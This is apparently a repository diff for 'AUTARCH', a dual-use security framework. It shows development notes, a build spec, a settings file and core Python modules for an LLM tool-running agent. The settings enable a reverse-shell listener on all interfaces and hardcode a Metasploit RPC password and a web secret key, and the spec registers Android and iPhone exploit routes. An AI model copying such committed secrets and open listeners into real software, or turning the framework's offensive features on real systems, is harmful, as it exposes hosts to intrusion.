- Priority: LAN mDNS > Wi-Fi Direct > Bluetooth
- Config: `autarch_settings.conf [discovery]` section, 3 API routes under `/settings/discovery/`
---
## Previously Added (Phase 4.8)
### WireGuard VPN + Remote ADB
- See devjournal.md Session 15 for full details
---
## Previously Added (Phase 4.7)
### Tracking Honeypot — Feed Fake Data to Ad Trackers
- **Concept**: Feed fake data to ad trackers (Google, Meta, data brokers) while letting real apps function normally
- `data/tracker_domains.json` — 2000+ tracker domains from EasyList/EasyPrivacy/Disconnect patterns
- 5 categories: advertising (882), analytics (332+), fingerprinting (134), social_tracking (213), data_brokers (226)
- 12 company profiles (Google, Meta, Amazon, Microsoft, etc.) with SDK package names
- 139 known Android tracker SDK packages
- 25 tracking-related Android permissions
- 4 ad-blocking DNS providers (AdGuard, NextDNS, Quad9, Mullvad)
- Fake data templates: 35 locations, 42 searches, 30 purchases, 44 interests, 25 device models
- `core/android_protect.py` — added ~35 honeypot methods to AndroidProtectManager
- **3 tiers of protection**: Tier 1 (ADB), Tier 2 (Shizuku), Tier 3 (Root)
- **Tier 1**: Reset ad ID, opt out tracking, ad-blocking DNS, disable location scanning, disable diagnostics
- **Tier 2**: Restrict background data, revoke tracking perms, clear tracker data, force-stop trackers
- **Tier 3**: Hosts file blocklist, iptables redirect, fake GPS, rotate device identity, fake device fingerprint
- **Composite**: Activate/deactivate all protections by tier, per-device state persistence
- **Detection**: Scan tracker apps, scan tracker permissions, view ad tracking settings
- `modules/android_protect.py` — added menu items 70-87 with 18 handler methods
- `web/routes/android_protect.py` — added 28 honeypot routes under `/android-protect/honeypot/`
- `web/templates/android_protect.html` — added 5th "Honeypot" tab with 7 sections and ~20 JS functions
---
## Previously Added (Phase 4.6)
### Android Protection Shield — Anti-Stalkerware & Anti-Spyware
- `core/android_protect.py` - AndroidProtectManager singleton (~650 lines)
- **Stalkerware detection**: scans installed packages against 275+ known stalkerware signatures across 103 families
- **Government spyware detection**: checks for Pegasus, Predator, Hermit, FinSpy, QuaDream, Candiru, Chrysaor, Exodus, Phantom, Dark Caracal indicators (files, processes, properties)
- **System integrity**: SELinux, verified boot, dm-verity, su binary, build fingerprint
- **Hidden app detection**: apps without launcher icons (filtered from system packages)
- **Device admin audit**: flags suspicious device admins against stalkerware DB
- **Accessibility/notification listener abuse**: flags non-legitimate services
- **Certificate audit**: user-installed CA certs (MITM detection)
- **Network config audit**: proxy hijacking, DNS, VPN profiles
- **Developer options check**: USB debug, unknown sources, mock locations, OEM unlock
- **Permission analysis**: dangerous combo finder (8 patterns), per-app breakdown, heatmap matrix
- **Remediation**: disable/uninstall threats, revoke permissions, remove device admin, remove CA certs, clear proxy
- **Shizuku management**: install, start, stop, status check for privileged operations on non-rooted devices
- **Shield app management**: install, configure, grant permissions to protection companion app
- **Signature DB**: updatable from GitHub (AssoEchap/stalkerware-indicators), JSON format
- **Scan reports**: JSON export, per-device storage in `data/android_protect/<serial>/scans/`
- `modules/android_protect.py` - CLI module (CATEGORY=defense) with 30+ menu items
- `web/routes/android_protect.py` - Flask blueprint with 33 routes under `/android-protect/`
- `web/templates/android_protect.html` - Web UI with 4 tabs (Scan, Permissions, Remediate, Shizuku)
- `data/stalkerware_signatures.json` - Threat signature database (103 families, 275 packages, 10 govt spyware, 8 permission combos)
- Modified `web/app.py` — registered `android_protect_bp` blueprint
- Modified `web/templates/base.html` — added "Shield" link in Tools sidebar section
---
## Previously Added (Phase 4.5)
### Hardware Module - ADB/Fastboot/ESP32 Access
- `core/hardware.py` - HardwareManager singleton (646 lines)
- ADB: device listing, info, shell (with command sanitization), reboot, sideload, push/pull, logcat
- Fastboot: device listing, info, partition flash (whitelist), reboot, OEM unlock
- Serial/ESP32: port listing, chip detection, firmware flash with progress, serial monitor
- All long operations run in background threads with progress tracking
- `modules/hardware_local.py` - CLI module with interactive menu (263 lines)
- `modules/hardware_remote.py` - Web UI redirect stub (26 lines)
- `web/routes/hardware.py` - Flask blueprint with ~20 endpoints + SSE streams (307 lines)
- `web/templates/hardware.html` - Full UI with Android/ESP32 tabs (309 lines)
- JS functions in `app.js` (16+ hw*() functions, lines 1100-1477)
- CSS styles: `--hardware: #f97316` (orange), progress bars, serial monitor, device grids
### Session 11 (2026-02-14) - Nmap & Scan Monitor
- Nmap scanner added to OSINT recon module (9 scan types, live-streaming output)
- Scan monitor added to defense module (tcpdump SYN capture, per-IP tracking, counter-scan)
### Session 12 (2026-02-14) - Path Portability & Bundled Tools (Phase 5)
- Created `core/paths.py` — centralized path resolution for entire project
- `get_app_dir()`, `get_data_dir()`, `get_config_path()`, `get_results_dir()`, etc.
- `find_tool(name)` — unified tool lookup: project dirs first, then system PATH
- `get_platform_tag()` — returns `linux-arm64`, `windows-x86_64`, etc.
- Platform-specific tool directories: `tools/linux-arm64/`, `tools/windows-x86_64/`
- Auto-sets NMAPDIR for bundled nmap data files
- Windows support: checks `.exe` extension, system/user PATH env vars, well-known install paths
- Copied Android platform-tools into `android/` directory (adb, fastboot)
- Copied system tools into `tools/linux-arm64/` (nmap, tcpdump, upnpc, wg + nmap-data/)
- **Convention: ALL Android deps go in `autarch/android/`, all other tools in `tools/<platform>/`**
- Replaced ALL hardcoded paths across 25+ files:
- `core/hardware.py` — uses `find_tool('adb')` / `find_tool('fastboot')`
- `core/wireshark.py` — uses `find_tool('tshark')`
- `core/upnp.py` — uses `find_tool('upnpc')`
- `core/msf.py` — uses `find_tool('msfrpcd')`
- `core/config.py` — uses `get_config_path()`, `get_templates_dir()`
- `core/cve.py`, `core/sites_db.py`, `core/pentest_session.py`, `core/report_generator.py` — use `get_data_dir()`
- `modules/defender.py` — uses `find_tool('tcpdump')`
- `modules/recon.py` — uses `find_tool('nmap')`
- `modules/adultscan.py`, `modules/dossier.py`, `modules/mysystem.py`, `modules/snoop_decoder.py`, `modules/agent_hal.py`, `modules/setup.py` — use `get_app_dir()` / `get_data_dir()` / `get_reports_dir()`
- `web/app.py`, `web/auth.py`, `web/routes/dashboard.py`, `web/routes/osint.py` — use paths.py
- `core/menu.py` — all `Path(__file__).parent.parent` replaced with `self._app_dir`
- Zero `/home/snake` references remain in any .py file
- Created `requirements.txt` with all Python dependencies
**Tool resolution verification:**
```
Platform: linux-arm64
adb autarch/android/adb [BUNDLED]
fastboot autarch/android/fastboot [BUNDLED]
nmap autarch/tools/linux-arm64/nmap [BUNDLED]
tcpdump autarch/tools/linux-arm64/... [BUNDLED]
upnpc autarch/tools/linux-arm64/... [BUNDLED]
wg autarch/tools/linux-arm64/... [BUNDLED]
msfrpcd /usr/bin/msfrpcd [SYSTEM]
esptool ~/.local/bin/esptool [SYSTEM]
```
### Session 13 (2026-02-14) - Browser-Based Hardware Access (WebUSB/Web Serial)
- Created `android_plan.md` — full implementation plan for direct browser-to-device hardware access
- **Architecture: Dual-mode** — Server mode (existing, device on host) + Direct mode (NEW, device on user's PC)
- Bundled 3 JavaScript libraries for browser-based hardware access:
- `@yume-chan/adb` v2.5.1 + `@yume-chan/adb-daemon-webusb` v2.3.2 → `adb-bundle.js` (57KB)
- `android-fastboot` v1.1.3 (kdrag0n/fastboot.js) → `fastboot-bundle.js` (146KB)
- `esptool-js` v0.5.7 (Espressif) → `esptool-bundle.js` (176KB)
- Build infrastructure: `package.json`, `scripts/build-hw-libs.sh`, `src/*-entry.js`
- Uses esbuild to create IIFE browser bundles from npm packages
- Build is dev-only; bundled JS files are static assets served by Flask
- Created `web/static/js/hardware-direct.js` (752 lines) — unified browser API:
- **ADB via WebUSB**: device enumeration, connect, shell, getprop, reboot, push/pull files, logcat, install APK
- **Fastboot via WebUSB**: connect, getvar, flash partition with progress, reboot, OEM unlock, factory ZIP flash
- **ESP32 via Web Serial**: port select, chip detect, firmware flash with progress, serial monitor
- ADB key management via Web Crypto API + IndexedDB (persistent RSA keys)
- Rewrote `web/templates/hardware.html` (309→531 lines):
- Connection mode toggle bar (Server / Direct)
- Direct-mode capability detection (WebUSB, Web Serial support)
- Direct-mode connect/disconnect buttons for ADB, Fastboot, ESP32
- File picker inputs (direct mode uses browser File API instead of server paths)
- New "Factory Flash" tab (PixelFlasher PoC)
- Updated `web/static/js/app.js` (1477→1952 lines):
- All hw*() functions are now mode-aware (check hwConnectionMode)
- Server mode: existing Flask API calls preserved unchanged
- Direct mode: routes through HWDirect.* browser API
- Mode toggle with localStorage persistence
- Factory flash workflow: ZIP upload → flash plan → progress tracking
- Updated `web/static/css/style.css`: mode toggle bar, checkbox styles, warning banners
- Added `{% block extra_head %}` to `web/templates/base.html` for page-specific script includes
---
## What's Left
### Phase 7: System Tray + Beta Release — TODO
#### System Tray (pystray + Pillow)
- `autarch.py` — add `--tray` flag to launch in system tray mode
- `core/tray.py``TrayManager` using `pystray` + `PIL.Image`
- **Tray icon menu:**
- Open Dashboard (opens browser to http://localhost:8080)
- Server Settings submenu:
- Server address/port
- Default model folder
- Default tools folder
- Auto-start on login toggle
- Metasploit Integration submenu:
- MSF RPC host + port + password
- Start msfrpcd (runs `find_tool('msfrpcd')` with auto SSL)
- Connect to existing msfrpcd
- RPC connection status indicator
- Separator
- Start/Stop Web Server
- View Logs
- Separator
- Quit
#### Beta Release
- `release/` — output folder for distribution artifacts
- `release/autarch.spec` — PyInstaller spec file:
- One-file EXE (--onefile) or one-dir (--onedir) bundle
- Include: `data/`, `web/`, `models/` (optional), `tools/`, `android/`, `autarch_settings.conf`
- Console window: optional (--noconsole for tray-only mode, --console for CLI mode)
- Icon: `web/static/img/autarch.ico`
- `release/build_exe.bat` / `release/build_exe.sh` — build scripts
- `release/autarch.wxs` or `release/installer.nsi` — MSI/NSIS installer:
- Install to `%PROGRAMFILES%\AUTARCH\`
- Create Start Menu shortcut
- Register Windows service option
- Include Metasploit installer link if not found
- Uninstaller
### Phase 4.5 Remaining: Browser Hardware Access Polish
- Test WebUSB ADB connection end-to-end with a physical device
- Test WebUSB Fastboot flashing end-to-end
- Test Web Serial ESP32 flashing end-to-end
- Test factory ZIP flash (PixelFlasher PoC) with a real factory image
- Add boot.img patching for Magisk/KernelSU (future enhancement)
- HTTPS required for WebUSB in production (reverse proxy or localhost only)
- Note: WebUSB/Web Serial only work in Chromium-based browsers (Chrome, Edge, Brave)
### Phase 5: Path Portability & Windows Support — MOSTLY DONE
Completed:
- `core/paths.py` with full path resolution and tool finding
- All hardcoded paths replaced
- Platform-specific tool bundling structure
- requirements.txt
Remaining:
- Windows-specific `sudo` handling (use `ctypes.windll.shell32.IsUserAnAdmin()` check)
- Bundle Windows tool binaries in `tools/windows-x86_64/` (nmap.exe, tshark.exe, etc.)
- Test on Windows and macOS
- Add `[hardware]` config section for customizable tool paths
### Phase 6: Docker Packaging
**Goal:** Portable deployment with all dependencies bundled.
**Tasks:**
1. Create `Dockerfile` (python:3.11-slim base)
2. Create `docker-compose.yml` (volume mounts for data/models/results)
3. Create `.dockerignore`
4. Create `scripts/entrypoint.sh` (start CLI, web, or both)
5. Create `scripts/install-tools.sh` (nmap, tshark, miniupnpc, wireguard-tools)
6. Expose ports: 8080 (web), 55553 (MSF RPC passthrough)
7. Test full build and deployment
---
## Known Issues / Gaps
1. ~~**Hardcoded paths**~~ - FIXED (all use core/paths.py now)
2. ~~**No requirements.txt**~~ - FIXED (created)
3. **No `[hardware]` config section** - hardware settings not in autarch_settings.conf
4. **No HTTPS** - web UI runs plain HTTP
5. **No test suite** - no automated tests
6. **Large backup file** - `claude.bk` (213MB) should be cleaned up
7. **tshark not installed** - Wireshark/packet capture limited to scapy
8. **msfrpcd not bundleable** - depends on full Metasploit ruby framework
9. **Windows/macOS untested** - tool bundling structure ready but no binaries yet
10. **Local model folder hardcoded to `models/`** - should use AppData in release build (TODO: change for Phase 7 release)
11. **No OpenAI LLM backend implementation** - config added; `core/llm.py` needs `OpenAILLM` class

126
autarch_public.spec Normal file
View File

@ -0,0 +1,126 @@
# -*- mode: python ; coding: utf-8 -*-
# PyInstaller spec for AUTARCH Public Release
# Build: pyinstaller autarch_public.spec
# Output: dist/autarch_public.exe (single-file executable)
import sys
from pathlib import Path
SRC = Path(SPECPATH)
block_cipher = None
# ── Data files (non-Python assets to bundle) ─────────────────────────────────
added_files = [
# Web assets
(str(SRC / 'web' / 'templates'), 'web/templates'),
(str(SRC / 'web' / 'static'), 'web/static'),
# Data (SQLite DBs, site lists, config defaults)
(str(SRC / 'data'), 'data'),
# Modules directory (dynamically loaded)
(str(SRC / 'modules'), 'modules'),
# Root-level config and docs
(str(SRC / 'autarch_settings.conf'), '.'),
(str(SRC / 'user_manual.md'), '.'),
(str(SRC / 'windows_manual.md'), '.'),
(str(SRC / 'custom_sites.inf'), '.'),
(str(SRC / 'custom_adultsites.json'), '.'),
]
# ── Hidden imports ────────────────────────────────────────────────────────────
hidden_imports = [
# Flask ecosystem
'flask', 'flask.templating', 'jinja2', 'jinja2.ext',
'werkzeug', 'werkzeug.serving', 'werkzeug.debug',
'markupsafe',
# Core libraries
'bcrypt', 'requests', 'msgpack', 'pyserial', 'qrcode', 'PIL',
'PIL.Image', 'PIL.ImageDraw', 'cryptography',
# AUTARCH core modules
'core.config', 'core.paths', 'core.banner', 'core.menu',
'core.llm', 'core.agent', 'core.tools',
'core.msf', 'core.msf_interface',
'core.hardware', 'core.android_protect',
'core.upnp', 'core.wireshark', 'core.wireguard',
'core.mcp_server', 'core.discovery',
'core.osint_db', 'core.nvd',
# Web routes (Flask blueprints)
'web.app', 'web.auth',
'web.routes.auth_routes',
'web.routes.dashboard',
'web.routes.defense',
'web.routes.offense',
'web.routes.counter',
'web.routes.analyze',
'web.routes.osint',
'web.routes.simulate',
'web.routes.settings',
'web.routes.upnp',
'web.routes.wireshark',
'web.routes.hardware',
'web.routes.android_exploit',
'web.routes.iphone_exploit',
'web.routes.android_protect',
'web.routes.wireguard',
'web.routes.revshell',
'web.routes.archon',
'web.routes.msf',
'web.routes.chat',
'web.routes.targets',
'web.routes.encmodules',
# Standard library (sometimes missed on Windows)
'email.mime.text', 'email.mime.multipart',
'xml.etree.ElementTree',
'sqlite3', 'json', 'logging', 'logging.handlers',
'threading', 'queue', 'uuid', 'hashlib', 'zlib',
'configparser', 'platform', 'socket', 'shutil',
'importlib', 'importlib.util', 'importlib.metadata',
]
a = Analysis(
['autarch.py'],
pathex=[str(SRC)],
binaries=[],
datas=added_files,
hiddenimports=hidden_imports,
hookspath=[],
hooksconfig={},
runtime_hooks=[],
excludes=[
# Exclude heavy optional deps not needed at runtime
'torch', 'transformers', 'llama_cpp', 'anthropic',
'tkinter', 'matplotlib', 'numpy',
],
noarchive=False,
optimize=0,
)
pyz = PYZ(a.pure, a.zipped_data, cipher=block_cipher)
# ── Single-file executable ───────────────────────────────────────────────────
exe = EXE(
pyz,
a.scripts,
a.binaries,
a.datas,
[],
name='autarch_public',
debug=False,
bootloader_ignore_signals=False,
strip=False,
upx=True,
console=True,
disable_windowed_traceback=False,
argv_emulation=False,
target_arch=None,
codesign_identity=None,
entitlements_file=None,
icon=None,
)

119
autarch_settings.conf Normal file
View File

@ -0,0 +1,119 @@
[llama]
model_path = C:\she\autarch\models\Lily-7B-Instruct-v0.2.Q5_K_M.gguf
n_ctx = 2048
n_threads = 4
n_gpu_layers = 0
temperature = 0.7
top_p = 0.9
top_k = 40
repeat_penalty = 1.1
max_tokens = 1024
seed = -1
n_batch = 256
rope_scaling_type = 0
mirostat_mode = 0
mirostat_tau = 5.0
mirostat_eta = 0.1
flash_attn = false
gpu_backend = cpu
[autarch]
first_run = false
modules_path = modules
verbose = false
llm_backend = local
quiet = false
no_banner = false
[msf]
host = 127.0.0.1
port = 55553
username = msf
password = msdf
ssl = true
[osint]
max_threads = 8
timeout = 8
include_nsfw = true
[transformers]
model_path = C:\she\autarch\models\Lily-Cybersecurity-7B-v0.2
device = xpu
torch_dtype = auto
load_in_8bit = false
load_in_4bit = true
trust_remote_code = false
max_tokens = 1024
temperature = 0.7
top_p = 0.9
top_k = 40
repetition_penalty = 1.1
use_fast_tokenizer = true
padding_side = left
do_sample = true
num_beams = 1
llm_int8_enable_fp32_cpu_offload = false
device_map = auto
[claude]
api_key =
model = claude-sonnet-4-20250514
max_tokens = 4096
temperature = 0.7
[pentest]
max_pipeline_steps = 50
output_chunk_size = 2000
auto_execute = false
save_raw_output = true
[rsf]
install_path =
enabled = true
default_target =
default_port = 80
execution_timeout = 120
[upnp]
enabled = true
internal_ip = 10.0.0.26
refresh_hours = 12
mappings = 443:TCP,51820:UDP,8080:TCP
[wireguard]
enabled = true
config_path = /etc/wireguard/wg0.conf
interface = wg0
subnet = 10.1.0.0/24
server_address = 10.1.0.1
listen_port = 51820
default_dns = 1.1.1.1, 8.8.8.8
default_allowed_ips = 0.0.0.0/0, ::/0
[huggingface]
api_key =
model = mistralai/Mistral-7B-Instruct-v0.3
endpoint =
max_tokens = 1024
temperature = 0.7
top_p = 0.9
[discovery]
enabled = true
mdns_enabled = true
bluetooth_enabled = true
bt_require_security = true
[web]
host = 0.0.0.0
port = 8181
secret_key = 23088243f11ce0b135c64413073c8c9fc0ecf83711d5f892b68f95b348a54007
mcp_port = 8081
[revshell]
enabled = true
host = 0.0.0.0
port = 17322
auto_start = false

1
core/__init__.py Normal file
View File

@ -0,0 +1 @@
# AUTARCH Core Framework

413
core/agent.py Normal file
View File

@ -0,0 +1,413 @@
"""
AUTARCH Agent System
Autonomous agent that uses LLM to accomplish tasks with tools
"""
import re
import json
from typing import Optional, List, Dict, Any, Callable
from dataclasses import dataclass, field
from enum import Enum
from .llm import get_llm, LLM, LLMError
from .tools import get_tool_registry, ToolRegistry
from .banner import Colors
class AgentState(Enum):
"""Agent execution states."""
IDLE = "idle"
THINKING = "thinking"
EXECUTING = "executing"
WAITING_USER = "waiting_user"
COMPLETE = "complete"
ERROR = "error"
@dataclass
class AgentStep:
"""Record of a single agent step."""
thought: str
tool_name: Optional[str] = None
tool_args: Optional[Dict[str, Any]] = None
tool_result: Optional[str] = None
error: Optional[str] = None
@dataclass
class AgentResult:
"""Result of an agent task execution."""
success: bool
summary: str
steps: List[AgentStep] = field(default_factory=list)
error: Optional[str] = None
class Agent:
"""Autonomous agent that uses LLM and tools to accomplish tasks."""
SYSTEM_PROMPT = """You are AUTARCH, an autonomous AI agent created by darkHal and Setec Security Labs.
Your purpose is to accomplish tasks using the tools available to you. You think step by step, use tools to gather information and take actions, then continue until the task is complete.
## How to respond
You MUST respond in the following format for EVERY response:
THOUGHT: [Your reasoning about what to do next]
ACTION: [tool_name]
PARAMS: {"param1": "value1", "param2": "value2"}
OR when the task is complete:
THOUGHT: [Summary of what was accomplished]
ACTION: task_complete
PARAMS: {"summary": "Description of completed work"}
OR when you need user input:
THOUGHT: [Why you need to ask the user]
ACTION: ask_user
PARAMS: {"question": "Your question"}
## Rules
1. Always start with THOUGHT to explain your reasoning
2. Always specify exactly one ACTION
3. Always provide PARAMS as valid JSON (even if empty: {})
4. Use tools to verify your work - don't assume success
5. If a tool fails, analyze the error and try a different approach
6. Only use task_complete when the task is fully done
{tools_description}
"""
def __init__(
self,
llm: LLM = None,
tools: ToolRegistry = None,
max_steps: int = 20,
verbose: bool = True
):
"""Initialize the agent.
Args:
llm: LLM instance to use. Uses global if not provided.
tools: Tool registry to use. Uses global if not provided.
max_steps: Maximum steps before stopping.
verbose: Whether to print progress.
"""
self.llm = llm or get_llm()
self.tools = tools or get_tool_registry()
self.max_steps = max_steps
self.verbose = verbose
self.state = AgentState.IDLE
self.current_task: Optional[str] = None
self.steps: List[AgentStep] = []
self.conversation: List[Dict[str, str]] = []
# Callbacks
self.on_step: Optional[Callable[[AgentStep], None]] = None
self.on_state_change: Optional[Callable[[AgentState], None]] = None
def _set_state(self, state: AgentState):
"""Update agent state and notify callback."""
self.state = state
if self.on_state_change:
self.on_state_change(state)
def _log(self, message: str, level: str = "info"):
"""Log a message if verbose mode is on."""
if not self.verbose:
return
colors = {
"info": Colors.CYAN,
"success": Colors.GREEN,
"warning": Colors.YELLOW,
"error": Colors.RED,
"thought": Colors.MAGENTA,
"action": Colors.BLUE,
"result": Colors.WHITE,
}
symbols = {
"info": "*",
"success": "+",
"warning": "!",
"error": "X",
"thought": "?",
"action": ">",
"result": "<",
}
color = colors.get(level, Colors.WHITE)
symbol = symbols.get(level, "*")
print(f"{color}[{symbol}] {message}{Colors.RESET}")
def _build_system_prompt(self) -> str:
"""Build the system prompt with tools description."""
tools_desc = self.tools.get_tools_prompt()
return self.SYSTEM_PROMPT.format(tools_description=tools_desc)
def _parse_response(self, response: str) -> tuple[str, str, Dict[str, Any]]:
"""Parse LLM response into thought, action, and params.
Args:
response: The raw LLM response.
Returns:
Tuple of (thought, action_name, params_dict)
Raises:
ValueError: If response cannot be parsed.
"""
# Extract THOUGHT
thought_match = re.search(r'THOUGHT:\s*(.+?)(?=ACTION:|$)', response, re.DOTALL)
thought = thought_match.group(1).strip() if thought_match else ""
# Extract ACTION
action_match = re.search(r'ACTION:\s*(\w+)', response)
if not action_match:
raise ValueError("No ACTION found in response")
action = action_match.group(1).strip()
# Extract PARAMS
params_match = re.search(r'PARAMS:\s*(\{.*?\})', response, re.DOTALL)
if params_match:
try:
params = json.loads(params_match.group(1))
except json.JSONDecodeError:
# Try to fix common JSON issues
params_str = params_match.group(1)
# Replace single quotes with double quotes
params_str = params_str.replace("'", '"')
try:
params = json.loads(params_str)
except json.JSONDecodeError:
params = {}
else:
params = {}
return thought, action, params
def _execute_tool(self, tool_name: str, params: Dict[str, Any]) -> str:
"""Execute a tool and return the result.
Args:
tool_name: Name of the tool to execute.
params: Parameters for the tool.
Returns:
Tool result string.
"""
result = self.tools.execute(tool_name, **params)
if result["success"]:
return str(result["result"])
else:
return f"[Error]: {result['error']}"
def run(self, task: str, user_input_handler: Callable[[str], str] = None,
step_callback: Optional[Callable[['AgentStep'], None]] = None) -> AgentResult:
"""Run the agent on a task.
Args:
task: The task description.
user_input_handler: Callback for handling ask_user actions.
If None, uses default input().
step_callback: Optional per-step callback invoked after each step completes.
Overrides self.on_step for this run if provided.
Returns:
AgentResult with execution details.
"""
if step_callback is not None:
self.on_step = step_callback
self.current_task = task
self.steps = []
self.conversation = []
# Ensure model is loaded
if not self.llm.is_loaded:
self._log("Loading model...", "info")
try:
self.llm.load_model(verbose=self.verbose)
except LLMError as e:
self._set_state(AgentState.ERROR)
return AgentResult(
success=False,
summary="Failed to load model",
error=str(e)
)
self._set_state(AgentState.THINKING)
self._log(f"Starting task: {task}", "info")
# Build initial prompt
system_prompt = self._build_system_prompt()
self.conversation.append({"role": "system", "content": system_prompt})
self.conversation.append({"role": "user", "content": f"Task: {task}"})
step_count = 0
while step_count < self.max_steps:
step_count += 1
self._log(f"Step {step_count}/{self.max_steps}", "info")
# Generate response
self._set_state(AgentState.THINKING)
try:
prompt = self._build_prompt()
response = self.llm.generate(
prompt,
stop=["OBSERVATION:", "\nUser:", "\nTask:"],
temperature=0.3, # Lower temperature for more focused responses
)
except LLMError as e:
self._set_state(AgentState.ERROR)
return AgentResult(
success=False,
summary="LLM generation failed",
steps=self.steps,
error=str(e)
)
# Parse response
try:
thought, action, params = self._parse_response(response)
except ValueError as e:
self._log(f"Failed to parse response: {e}", "error")
self._log(f"Raw response: {response[:200]}...", "warning")
# Add error feedback and continue
self.conversation.append({
"role": "assistant",
"content": response
})
self.conversation.append({
"role": "user",
"content": "Error: Could not parse your response. Please use the exact format:\nTHOUGHT: [reasoning]\nACTION: [tool_name]\nPARAMS: {\"param\": \"value\"}"
})
continue
self._log(f"Thought: {thought[:100]}..." if len(thought) > 100 else f"Thought: {thought}", "thought")
self._log(f"Action: {action}", "action")
step = AgentStep(thought=thought, tool_name=action, tool_args=params)
# Handle task_complete
if action == "task_complete":
summary = params.get("summary", thought)
step.tool_result = summary
self.steps.append(step)
if self.on_step:
self.on_step(step)
self._set_state(AgentState.COMPLETE)
self._log(f"Task complete: {summary}", "success")
return AgentResult(
success=True,
summary=summary,
steps=self.steps
)
# Handle ask_user
if action == "ask_user":
question = params.get("question", "What should I do?")
self._set_state(AgentState.WAITING_USER)
self._log(f"Agent asks: {question}", "info")
if user_input_handler:
user_response = user_input_handler(question)
else:
print(f"\n{Colors.YELLOW}Agent question: {question}{Colors.RESET}")
user_response = input(f"{Colors.GREEN}Your answer: {Colors.RESET}").strip()
step.tool_result = f"User response: {user_response}"
self.steps.append(step)
if self.on_step:
self.on_step(step)
# Add to conversation
self.conversation.append({
"role": "assistant",
"content": f"THOUGHT: {thought}\nACTION: {action}\nPARAMS: {json.dumps(params)}"
})
self.conversation.append({
"role": "user",
"content": f"OBSERVATION: User responded: {user_response}"
})
continue
# Execute tool
self._set_state(AgentState.EXECUTING)
self._log(f"Executing: {action}({params})", "action")
result = self._execute_tool(action, params)
step.tool_result = result
self.steps.append(step)
if self.on_step:
self.on_step(step)
# Truncate long results for display
display_result = result[:200] + "..." if len(result) > 200 else result
self._log(f"Result: {display_result}", "result")
# Add to conversation
self.conversation.append({
"role": "assistant",
"content": f"THOUGHT: {thought}\nACTION: {action}\nPARAMS: {json.dumps(params)}"
})
self.conversation.append({
"role": "user",
"content": f"OBSERVATION: {result}"
})
# Max steps reached
self._set_state(AgentState.ERROR)
self._log(f"Max steps ({self.max_steps}) reached", "warning")
return AgentResult(
success=False,
summary="Max steps reached without completing task",
steps=self.steps,
error=f"Exceeded maximum of {self.max_steps} steps"
)
def _build_prompt(self) -> str:
"""Build the full prompt from conversation history."""
parts = []
for msg in self.conversation:
role = msg["role"]
content = msg["content"]
if role == "system":
parts.append(f"<|im_start|>system\n{content}<|im_end|>")
elif role == "user":
parts.append(f"<|im_start|>user\n{content}<|im_end|>")
elif role == "assistant":
parts.append(f"<|im_start|>assistant\n{content}<|im_end|>")
parts.append("<|im_start|>assistant\n")
return "\n".join(parts)
def get_steps_summary(self) -> str:
"""Get a formatted summary of all steps taken."""
if not self.steps:
return "No steps executed"
lines = []
for i, step in enumerate(self.steps, 1):
lines.append(f"Step {i}:")
lines.append(f" Thought: {step.thought[:80]}...")
if step.tool_name:
lines.append(f" Action: {step.tool_name}")
if step.tool_result:
result_preview = step.tool_result[:80] + "..." if len(step.tool_result) > 80 else step.tool_result
lines.append(f" Result: {result_preview}")
lines.append("")
return "\n".join(lines)

2804
core/android_exploit.py Normal file

File diff suppressed because it is too large Load Diff

1910
core/android_protect.py Normal file

File diff suppressed because it is too large Load Diff

49
core/banner.py Normal file
View File

@ -0,0 +1,49 @@
"""
AUTARCH Banner Module
Displays the main ASCII banner for the framework
"""
# ANSI color codes
class Colors:
RED = '\033[91m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
BLUE = '\033[94m'
MAGENTA = '\033[95m'
CYAN = '\033[96m'
WHITE = '\033[97m'
BOLD = '\033[1m'
DIM = '\033[2m'
RESET = '\033[0m'
BANNER = f"""{Colors.RED}{Colors.BOLD}
{Colors.RESET}{Colors.CYAN} By darkHal and Setec Security Labs.{Colors.RESET}
{Colors.DIM}{Colors.RESET}
"""
def display_banner():
"""Print the AUTARCH banner to the console."""
print(BANNER)
def clear_screen():
"""Clear the terminal screen."""
import os
os.system('clear' if os.name == 'posix' else 'cls')
if __name__ == "__main__":
clear_screen()
display_banner()

520
core/config.py Normal file
View File

@ -0,0 +1,520 @@
"""
AUTARCH Configuration Handler
Manages the autarch_settings.conf file for llama.cpp settings
"""
import os
import configparser
from pathlib import Path
class Config:
"""Configuration manager for AUTARCH settings."""
DEFAULT_CONFIG = {
'llama': {
'model_path': '',
'n_ctx': '4096',
'n_threads': '4',
'n_gpu_layers': '0',
'gpu_backend': 'cpu',
'temperature': '0.7',
'top_p': '0.9',
'top_k': '40',
'repeat_penalty': '1.1',
'max_tokens': '2048',
'seed': '-1',
},
'autarch': {
'first_run': 'true',
'modules_path': 'modules',
'verbose': 'false',
'quiet': 'false',
'no_banner': 'false',
'llm_backend': 'local',
},
'claude': {
'api_key': '',
'model': 'claude-sonnet-4-20250514',
'max_tokens': '4096',
'temperature': '0.7',
},
'osint': {
'max_threads': '8',
'timeout': '8',
'include_nsfw': 'false',
},
'pentest': {
'max_pipeline_steps': '50',
'output_chunk_size': '2000',
'auto_execute': 'false',
'save_raw_output': 'true',
},
'transformers': {
'model_path': '',
'device': 'auto',
'torch_dtype': 'auto',
'load_in_8bit': 'false',
'load_in_4bit': 'false',
'trust_remote_code': 'false',
'max_tokens': '2048',
'temperature': '0.7',
'top_p': '0.9',
'top_k': '40',
'repetition_penalty': '1.1',
},
'rsf': {
'install_path': '',
'enabled': 'true',
'default_target': '',
'default_port': '80',
'execution_timeout': '120',
},
'upnp': {
'enabled': 'true',
'internal_ip': '10.0.0.26',
'refresh_hours': '12',
'mappings': '443:TCP,51820:UDP,8181:TCP',
},
'web': {
'host': '0.0.0.0',
'port': '8181',
'secret_key': '',
'mcp_port': '8081',
},
'revshell': {
'enabled': 'true',
'host': '0.0.0.0',
'port': '17322',
'auto_start': 'false',
}
}
def __init__(self, config_path: str = None):
"""Initialize the configuration manager.
Args:
config_path: Path to the configuration file. Defaults to autarch_settings.conf
in the framework directory.
"""
if config_path is None:
from core.paths import get_config_path
self.config_path = get_config_path()
else:
self.config_path = Path(config_path)
self.config = configparser.ConfigParser()
self._load_or_create()
def _load_or_create(self):
"""Load existing config or create with defaults."""
if self.config_path.exists():
self.config.read(self.config_path)
self._apply_missing_defaults()
else:
self._create_default_config()
def _apply_missing_defaults(self):
"""Add any missing sections/keys from DEFAULT_CONFIG to the loaded config."""
changed = False
for section, options in self.DEFAULT_CONFIG.items():
if section not in self.config:
self.config[section] = options
changed = True
else:
for key, value in options.items():
if key not in self.config[section]:
self.config[section][key] = value
changed = True
if changed:
self.save()
def _create_default_config(self):
"""Create a default configuration file."""
